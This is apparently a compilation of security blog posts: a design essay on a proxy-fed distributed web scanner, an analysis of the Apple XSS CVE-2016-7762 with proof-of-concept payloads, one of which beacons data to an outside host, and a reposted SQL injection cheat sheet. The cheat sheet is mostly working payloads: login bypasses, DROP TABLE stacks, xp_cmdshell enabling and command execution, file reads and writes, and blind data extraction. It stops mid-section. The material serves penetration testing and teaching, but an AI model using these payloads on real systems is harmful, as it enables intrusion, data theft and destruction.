一个简单的分布式WEB扫描器的设计与实践

0x00 前言

作为一个安全从业人员,在平常的工作中总是需要对一些web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题,更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于web扫描器,而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行,这样可以极大的减少人工检测的工作量,但是随之而来也会导致过多的误报和漏报,原因之一就是爬虫无法获取到一些隐藏很深的系统资源(比如:URL)进行检测。在这篇文章里,笔者主要想和大家分享一下从另一个角度来设计web扫描器从而来解决开头所提到的问题。

0x01 设计

在开始探讨设计之前,我们首先了解一下web漏洞检测和扫描的一般过程和原理。通常我们所说的web漏洞检测和扫描大致分为2种方式:

  • web扫描器:主要利用扫描器的爬虫获取目标系统的所有URL,再尝试模拟访问这些URL获取更多的URL,如此循环,直到所有已知的URL被获取到,或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源;之后对获取的URL去重整理,利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞
  • 人工检测:通过设置代理(如:burp)来截获所有目标系统的访问请求,然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放(如:burp中的repeat功能)从而判断目标系统是否存在漏洞

对比上面的2种方式,我们可以发现web扫描器可以极大的减少人工检测的工作量,但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报;而人工检测可以很好的保证发现漏洞的准确性和针对性,但是却严重依赖于检测人员的经验和时间,尤其是大型系统很难在有限的时间内完成检测,同样会造成漏报。那么,如果能有效地利用扫描器的处理速度以及人工的精准度的话,是不是就可以很好地解决前面的问题了呢?

下面让我们来深究一下两者的各自优势,前者自动化程度高不需要过多的人为干预,后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下,如果我们有办法可以获取到所有的真实请求(包括:请求头,cookie,url,请求参数等等)并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢?

我们设想一下,如果有这样一个系统可以在用户与系统之前获取到所有的请求,并分发给扫描器进行检测,这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块:

  • 客户端:用户访问系统的载体,如:浏览器,手机APP
  • 代理:用于获取来自于客户端的所有请求,如:Burp,Load Balancer
  • 解析器:负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中
  • 请求数据库:用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息
  • 扫描器:具有漏洞检测功能的扫描器,如:自行编写的定制扫描器(hackUtils),SQLMAP,Burp Scanner,WVS,OWASP ZAP等
  • 应用系统:目标应用系统,如: Web系统,APP

基本架构如下:

从上图的设计中,我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中,然后将这些真实产生的请求分发给不同的扫描器(比如:常见的OWASP Top10的漏洞,已披露的常见框架或者中间件漏洞等)进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰,且仅通过中心数据库关联起来,因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。

这种设计架构可以很方便地进行扩展和应用, 例如:

  • 对于漏洞检测或者安全测试人员,我们只需要在本地设置好代理(如:burp),然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能,接下来的漏洞检测工作就完全交给了扫描器去做,这将极大地节约了时间和避免了大量重复的手工检测的工作量
  • 对于企业系统,我们可以将代理设置在应用前端(如:load balancer),这样所有的请求将会被自动镜像在扫描数据库,并自动分发给多个扫描引擎进行检测,无需手工干预即可发现很多隐藏很深的漏洞

0x02 实践

俗语说的好,“Talk is cheap, show me the code”! 是的,为了更好地了解这种设计思路的好处,笔者设计了一个Demo系统。该系统利用了burp作为代理,当我们在浏览器或者手机的wifi中配置好了代理服务器,漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能,代理将会自动地收集产生的所有请求数据(包括,各种请求头,cookie,请求方法,请求数据等)然后通过解析器的解析并存储于中央数据库,然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。

效果如下:

以下是我封装的一个python的requests库,它支持发送自定义的cookie,headers的get/post的请求,并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript,css等,可以非常方便的应用于反爬虫和DOM型XSS的检测。

Code:https://github.com/brianwrf/HackRequests

0x03 思考

从漏洞检测的角度来说,经过笔者的测试(以DVWA和WebGoat为例)检测效果还是非常明显和有效的。其实这种类似的设计,很早之前就已经有人做了,那么很多人要问了为什么你还要在重复造个轮子呢?其实原因有以下几点:

  • 系统耦合性较强,不利于进行扩展和改造
  • 在HTTPS的流量捕获上支持的不是很好
  • 没有做到对HTTP请求中所有的可控输入点进行检测,例如,仅仅检测GET/POST数据,而对cookie,user-agent, referer等缺乏检测
  • 缺乏对于DOM的渲染和解析,容易造成对于基于DOM的漏洞的漏报,比如:DOM型的XSS等
  • 不具备分布式部署的能力,无法有效利用分布式处理的优点来提高检测效率
  • 不具备真正的意义上的repeat检测能力,换句话说不能完全模拟用户的请求

当然,上述的设计也存在一些待解决的问题,比如:

  • 若将代理部署至应用前端镜像所有请求,再分发至扫描引擎检测,如何防止真实用户数据泄漏和篡改?可能的解决方案是设置例外,对于敏感字段或者请求进行例外处理。

写在最后

Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路,解决问题才是考验系统能力的关键!后续我会继续努力改进其不足,让其更加易于使用!

注:如觉得有意思想转载的话,请注明出处,尊重知识产权,从你我开始,谢谢!

一个有意思的Apple XSS(CVE-2016-7762)的 分析与思考

原创发于先知论坛:https://xianzhi.aliyun.com/forum/read/755.html

0x00 前言

应CVE作者的要求帮忙分析一下这个漏洞,实际上这是一个思路比较有意思的Apple XSS(CVE-2016-7762)。漏洞作者确实脑洞比较大也善于尝试和发掘,这里必须赞一个!

0x01 分析与利用

官方在2017年1月24日发布的安全公告中如下描述:

  • 可利用设备:iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later
  • 漏洞影响:处理恶意构造的web内容可能会导致XSS攻击
  • 漏洞描述:Safari在显示文档时产生此漏洞,且该漏洞已通过修正输入校验被解决了

那么,该漏洞真的如安全公告中所描述的那样被解决了吗?实际上,结果并非如此。

在分析之前,首先先了解一下这到底是个什么漏洞。

POC:

  • 创建一个文档文件,比如:
    • Word文件(docx)
    • PPT文件(pptx)
    • 富文本文件(rtf)
  • 添加一个超链接并插入JS脚本,如:
    • javascript:alert(document.domain);void(0)
    • javascript:alert(document.cookie);void(0)
    • javascript:alert(location.href);void(0)
    • javascript:x=new Image();x.src=”http://i0f.in/authtest.php?id=OAsMdS&info=”;
  • 上传文件至web服务器然后在Apple设备上使用如下应用打开,如:
    • Safari
    • QQ Browser
    • Firefox Browser
    • Google Browser
    • QQ客户端
    • 微信客户端
    • 支付宝客户端
  • 点击文档文件中的超链接,上述JS脚本将会被执行从而造成了XSS漏洞

效果图如下:


回顾一下上面的POC,发现其实该漏洞不仅仅存在于Safari中而是普遍存在于使用了WebKit的APP中。

我们都知道,iOS APP要想像浏览器一样可以显示web内容,那么就必须使用WebKit。这是因为WebKit提供了一系列的类用于实现web页面展示,以及浏览器功能。而其中的WKWebView(或者UIWebView)就是用来在APP中显示web内容的。而当我们使用Safari或者使用了WebKit的APP去打开一个URL时,iOS就会自动使用WKWebView/UIWebView来解析和渲染这些页面或者文档。当受害人点击web服务器上的文档中的链接时,就会导致超链接中插入的javascript脚本被执行从而造成了XSS。这是因为WKWebView/UIWebView在解析和渲染远程服务器上的文档文件时并没有对文档中内嵌的内容做很好的输入校验导致的。

该漏洞单从利用的角度来说还是比较鸡肋的,因为漏洞的触发必须依赖于用户点击文档中的超链接,笔者可以想到的可能的利用场景如下:

  • 攻击者上传了一个包含了恶意JS的超链接(比如:个人博客链接)的Word文件(比如:个人简历)至招聘网站
  • 受害者(比如:HR或者猎头)登录招聘网站且使用iPhone或者iPad上的Safari在线打开该简历中的“博客链接”,那么此时攻击者很可能就成功获取了受害者的该网站cookie之类的信息

0x02 思考

这个XSS漏洞本身其实并没有太多的技术含量或者技巧,但是在挖掘思路上却是很有意思且值得思考的。漏洞作者并没有将利用js直接插入至web页面本身,而是巧妙地利用了某些文档中的超链接绕过了WebKit的输入校验。这也从一定程度上再次阐释了web安全中一个最基本的原则即“所有输入都是不安全的”,不管是直接输入或者是间接输入。我们在做应用或者产品的安全设计时最好能够确认各种信任边界以及输入输出,且做好校验过滤以及必要的编码,这样才能有效的防范这种间接输入导致的漏洞。

0x03 参考

https://support.apple.com/en-us/HT207422

https://developer.apple.com/reference/webkit

https://developer.apple.com/reference/webkit/wkwebview

https://developer.apple.com/reference/uikit/uiwebview

【转载】SQL Injection Cheat Sheet

Original Link: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally
published in 2007 by Ferruh Mavituna on his blog. We have updated it and
moved it over from our CEO’s blog.
Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL
servers. Some of the samples in this sheet might not work in every
situation because real live environments may vary depending on the usage
of parenthesis, different code bases and unexpected, strange and
complex SQL sentences. 

Samples are provided to allow you to get
basic idea of a potential attack and almost every section includes a
brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

    1. Line Comments

    2. Inline Comments

    3. Stacking Queries

    4. If Statements

    5. Using Integers
    6. String Operations

    7. Strings without Quotes

    8. String Modification & Related
    9. Union Injections

    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Finding Database Structure in SQL Server
    13. Fast way to extract data from Error Based SQL Injections in SQL Server
    14. Blind SQL Injections
    15. Covering Your Tracks
    16. Extra MySQL Notes
    17. Second Order SQL Injections
    18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query. 
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • — (SM) 
    DROP sampletable;– 

  • # (M) 
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin’–
  • SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’ 
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)

    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M) 
    This is a special
    comment syntax for MySQL. It’s perfect for detecting MySQL version. If
    you put a code into this comments it’s going to execute in MySQL only.
    Also you can use this to execute some code only if the server is higher
    than supplied version. 

    SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /* 
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members —
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10 
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S) 
    SELECT * FROM members; DROP members–

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Injection Cheat sheet

About MySQL and PHP; 
To clarify some issues; 
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally
MySQL supports stacked queries but because of database layer in most of
the configurations it’s not possible to execute a second query in
PHP-MySQL applications or maybe MySQL client supports this, not quite
sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members —
  • SELECT * FROM products WHERE id = 10; DROP members–

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M) 
    SELECT IF(1=1,’true’,’false’)

SQL Server If Statement

  • IF condition true-part ELSE false-part (S) 
    IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END; (O) 
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P) 
    SELECT CASE WEHEN (1=1) THEN ‘A’ ELSE ‘B’END;
If Statement SQL Injection Attack Samples

if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S) 
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM) 
    You can  write hex like these; 

    SELECT CHAR(0x66) (S) 
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M) 
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up
injections which are not using any quotes, bypass any other black
listing or determine back end database.

String Concatenation

  • + (S) 
    SELECT login + ‘-‘ + password FROM members
  • || (*MO) 
    SELECT login || ‘-‘ || password FROM members

*About MySQL “||”; 
If MySQL is running in ANSI
mode it’s going to work but otherwise MySQL accept it as `logical
operator` it’ll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, …) (M) 
    Concatenate supplied strings. 
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) – Hex Representation of string 
    SELECT 0x457578 
    This will be selected as string in MySQL. 

    In MySQL easy way to generate hex representations of strings use this; 
    SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

  • Using CONCAT() in MySQL 
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) 
    This will return ‘KLM’.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) 
    This will return ‘KLM’.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O) 
    This will return ‘KLM’.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P) 
    This will return ‘KLM’.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) 
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP) 
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections. 

    SELECT ASCII(‘a’)

  • CHAR() (SM) 
    Convert an integer of ASCII. 

    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members 
This will combine results from both news table and members table and return all of them.

Another Example: 
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S) 
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one – check out SQL Server documentation

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M) 
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin’ —
  • admin’ #
  • admin’/*
  • ‘ or 1=1–
  • ‘ or 1=1#
  • ‘ or 1=1/*
  • ‘) or ‘1’=’1–
  • ‘) or (‘1’=’1–
  • ….
  • Login as different user (SM*) 
    ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then
compare returned MD5 with supplied password’s MD5 then you need to some
extra tricks to fool application to bypass authentication. You can union
results with a known password and MD5 hash of supplied password. In
this case application will compare your password and your supplied MD5
hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin’ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055′
Password :1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based – Find Columns Names

Finding Column Names with HAVING BY – Error Based (S)

In the same order,

  • ‘ HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
  • If you are not getting any more error then it’s done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1–
  • ORDER BY 2–
  • ORDER BY N– so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.

    • Be careful in Blind situtaions may you can understand error is
      coming from DB or application itself. Because languages like ASP.NET
      generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ‘ union select sum(columntofind) from users— (S) 
    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ 
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. 

    If you are not getting an error it means column is numeric.

  • Also you can use CAST() or CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,
      null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL,
      NULL, NULL, NULL, NULL, NULl, NULL–
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 — 
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,’2′,NULL,NULL WHERE 1=2 –- 
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,’2′,3,NULL WHERE 1=2 –- 
    Error! – Third column is not an integer. … 

    Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS) 
Version of database and more
details for SQL Server. It’s a constant. You can just select it like any
other column, you don’t need to supply table name. Also, you can use
insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ”+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function. 
bcp “SELECT * FROM test..foo” queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ 
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ — 

Executing system commands, xp_cmdshell (S)

Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell ‘ping ‘

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages 
    master..sysmessages
  • Linked Servers 
    master..sysservers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm 
    SQL Server 2000: masters..sysxlogins 
    SQL Server 2005 : sys.sql_logins 

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell
    exec master..xp_cmdshell ‘dir’
  2. Registry Stuff (xp_regread

    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite 
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ 
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() 
IS_MEMBER (Transact-SQL)  
IS_SRVROLEMEMBER (Transact-SQL)  
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you’re really pissed off, ‘;shutdown —

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous
stored procedures are disabled in SQL Server 2005. If you have admin
access then you can enable these.

EXEC sp_configure ‘show advanced options’,1 
RECONFIGURE

EXEC sp_configure ‘xp_cmdshell’,1 
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = ‘U’

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST
    … WHERE users NOT IN (‘First User’, ‘Second User’) 
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
  • Using Dirty Tricks 
    SELECT * FROM Product WHERE ID=2 AND
    1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
    sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p
    where p.x=3) as int 

    Select p.name from (SELECT
    (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=’U’ and
    i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = ‘U’) as p
    where p.x=21

 

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’
‘+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
‘MEMBERS’) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;–

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page,
so you can not extract data through Union attacks or error based
attacks. You have to do use Blind SQL Injections attacks to extract
data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code 
Totally Blind,
You can not see any difference in the output in any kind. This can be
an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while
exploiting SQL Server back ended application and enumerating table
names. This requests done for first char of the first table name. SQL
queries a bit more complex then requirement because of automation
reasons. In we are trying to determine an ascii value of a char via
binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>78– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103– 

TRUE : SELECT
ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`.
This is the way to exploit Blind SQL injections by binary search
algorithm. Other well-known way is reading data bit by bit. Both can be
effective in different conditions.

 

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it’s really blind, otherwise just use 1/0
style errors to identify difference. Second, be careful while using
times more than 20-30 seconds. database API connection or script can be
timeout.

WAIT FOR DELAY ‘time’ (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY ‘0:0:10’–

Also, you can use fractions like this,

WAITFOR DELAY ‘0:0:0.51’

Real World Samples

  • Are we ‘sa’ ? 
    if (select user) = ‘sa’ waitfor delay ‘0:0:10’
  • ProductID = 1;waitfor delay ‘0:0:10’–
  • ProductID =1);waitfor delay ‘0:0:10’–
  • ProductID =1′;waitfor delay ‘0:0:10’–
  • ProductID =1′);waitfor delay ‘0:0:10’–
  • ProductID =1));waitfor delay ‘0:0:10’–
  • ProductID =1′));waitfor delay ‘0:0:10’–

BENCHMARK() (M)

